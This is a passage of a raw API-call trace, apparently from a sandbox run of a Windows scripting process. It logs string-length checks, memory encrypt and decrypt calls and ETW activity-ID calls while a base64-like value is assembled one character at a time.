(param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\x28c9\x597e\xa9a0\x4434\x5421\xf595\x2fa2\x6a7d\x2e3f\x2400\xc9bd\x6703\xd44b\x3a93\xadbc\xa38e\x2382\x7b62\xe01\x53fb\xb7c1\x70b3\xf73c\x3a72") returned 0x30 [0125.964] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\x28c9\x597e\xa9a0\x4434\x5421\xf595\x2fa2\x6a7d\x2e3f\x2400\xc9bd\x6703\xd44b\x3a93\xadbc\xa38e\x2382\x7b62\xe01\x53fb\xb7c1\x70b3\xf73c\x3a72") returned 0x30 [0125.964] SystemFunction041 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0125.964] SysStringLen (param_1="VgW29eR3h3f3cRCyAUl3dFyKb8ZwcOago1kElFaRjiᑟꀃऊ텶ᅩ") returned 0x30 [0125.964] SystemFunction040 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0125.964] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\x28c9\x597e\xa9a0\x4434\x5421\xf595\x2fa2\x6a7d\x2e3f\x2400\xc9bd\x6703\xd44b\x3a93\xadbc\xa38e\x3f9\xf1c\xf642\xc2a0\x1f70\x1063\x6021\x5597") returned 0x30 [0125.964] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\x28c9\x597e\xa9a0\x4434\x5421\xf595\x2fa2\x6a7d\x2e3f\x2400\xc9bd\x6703\xd44b\x3a93\xadbc\xa38e\x3f9\xf1c\xf642\xc2a0\x1f70\x1063\x6021\x5597") returned 0x30 [0125.964] SystemFunction041 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0125.964] SysStringLen (param_1="VgW29eR3h3f3cRCyAUl3dFyKb8ZwcOago1kElFaRjigꀃऊ텶ᅩ") returned 0x30 [0125.964] SystemFunction040 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0125.964] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\x28c9\x597e\xa9a0\x4434\x5421\xf595\x2fa2\x6a7d\x2e3f\x2400\xc9bd\x6703\xd44b\x3a93\xadbc\xa38e\x3e01\x7dd5\x6580\xb47a\x2377\x5f34\x1c2f\xb181") returned 0x30 [0125.964] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\x28c9\x597e\xa9a0\x4434\x5421\xf595\x2fa2\x6a7d\x2e3f\x2400\xc9bd\x6703\xd44b\x3a93\xadbc\xa38e\x3e01\x7dd5\x6580\xb47a\x2377\x5f34\x1c2f\xb181") returned 0x30 [0125.964] SystemFunction041 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0125.964] SysStringLen (param_1="VgW29eR3h3f3cRCyAUl3dFyKb8ZwcOago1kElFaRjig=ऊ텶ᅩ") returned 0x30 [0125.964] SystemFunction040 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0125.964] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae650*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae650*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x79, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.965] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea5c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x79, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.965] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x78, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x78, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.965] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae58c, nSize=0x100 | out: lpBuffer="㡐犯,") returned 0x0 [0125.966] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae964*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae964*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.966] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x78, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.966] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae954*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae954*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.966] SysStringLen (param_1="") returned 0x8 [0125.966] SysStringLen (param_1="Y") returned 0x8 [0125.967] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.967] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0125.967] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0125.967] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.967] SysStringLen (param_1="YW") returned 0x8 [0125.967] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.967] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0125.967] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0125.967] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.967] SysStringLen (param_1="YWM") returned 0x8 [0125.967] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.967] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0125.967] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0125.967] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.967] SysStringLen (param_1="YWM1") returned 0x8 [0125.967] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.967] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0125.967] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0125.967] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.968] SysStringLen (param_1="YWM1O") returned 0x8 [0125.968] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.968] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0125.968] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0125.968] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.968] SysStringLen (param_1="YWM1OT") returned 0x8 [0125.968] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.968] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0125.968] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0125.968] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.968] SysStringLen (param_1="YWM1OTE") returned 0x8 [0125.968] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.968] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0125.968] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0125.968] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.968] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0125.968] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.968] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0125.968] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0125.968] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0125.968] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0125.968] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.969] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0125.969] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.969] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0125.969] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0125.969] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.969] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0125.969] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.969] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0125.969] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0125.969] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.969] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0125.969] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.969] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0125.969] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0125.969] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.969] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0125.969] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.969] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0125.969] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0125.969] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.969] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0125.969] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.969] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0125.969] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0125.969] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.970] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0125.970] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.970] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0125.970] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0125.970] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.970] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0125.970] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.970] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0125.970] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0125.970] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.970] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0125.970] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.970] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0125.970] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0125.970] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0125.970] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0125.970] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.970] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0125.970] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.970] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0125.971] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0125.971] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.971] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0125.971] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.971] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0125.971] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0125.971] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.971] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0125.971] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.971] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0125.971] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0125.971] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.971] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0125.971] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.971] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0125.971] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0125.971] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.971] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0125.971] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.971] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0125.971] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0125.971] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.972] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0125.972] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.972] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0125.972] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0125.972] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.972] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0125.972] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.972] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0125.972] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0125.972] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.972] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0125.972] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.972] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0125.972] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0125.972] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0125.972] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0125.972] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.972] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0125.972] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.972] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0125.973] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0125.973] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.973] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0125.973] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.973] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0125.973] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0125.973] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.973] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0125.973] SystemFunction040 (in: 